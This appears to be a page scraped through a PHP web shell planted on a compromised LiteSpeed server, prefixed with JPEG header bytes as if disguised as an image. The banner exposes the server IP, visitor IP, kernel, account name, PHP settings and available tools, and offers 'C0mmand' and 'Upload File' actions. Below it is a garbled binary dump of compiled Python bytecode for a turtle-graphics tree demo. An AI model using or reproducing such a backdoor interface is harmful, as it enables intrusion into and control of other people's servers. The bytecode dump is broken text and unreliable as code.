����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 18.226.52.206 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /lib64/samba/../pkgconfig/../systemtap/../python3.11/turtledemo/__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
� �=Ogy � � � d Z ddlmZmZ ddlmZ d� Zd� Zd� Z e dk r! e � � Z ee� � e� � dS dS ) a� turtle-example-suite: tdemo_tree.py Displays a 'breadth-first-tree' - in contrast to the classical Logo tree drawing programs, which use a depth-first-algorithm. Uses: (1) a tree-generator, where the drawing is quasi the side-effect, whereas the generator always yields None. (2) Turtle-cloning: At each branching point the current pen is cloned. So in the end there are 1024 turtles. � )�Turtle�mainloop)�perf_counterc # �Z K � |dk r�g }| D ]}|� |� � |� � � }|� |� � |� |� � |� |� � |� |� � ��t |||z ||� � D ]}dV � �dS dS )z� plist is list of pens l is length of branch a is half of the angle between 2 branches f is factor by which branch is shortened from level to level.� N)�forward�clone�left�right�append�tree)�plist�l�a�f�lst�p�q�xs �(/usr/lib64/python3.11/turtledemo/tree.pyr r s� � � � � �1�u�u���� � �A� �I�I�a�L�L�L���� � �A� �F�F�1�I�I�I� �G�G�A�J�J�J��J�J�q�M�M�M��J�J�q�M�M�M�M��c�1�Q�3��1�%�%� � �A��J�J�J�J� �u� � � c �� � t � � } | � d � � | � � � | � d� � | � � � � dd� � | � d� � | � � � | � d� � | � � � t | gddd� � }|D ]}�d S )Nr � �Z i.����� �A gffffff�?)r � setundobuffer� hideturtle�speed� getscreen�tracerr �penupr �pendownr )r �tr s r �maketreer% '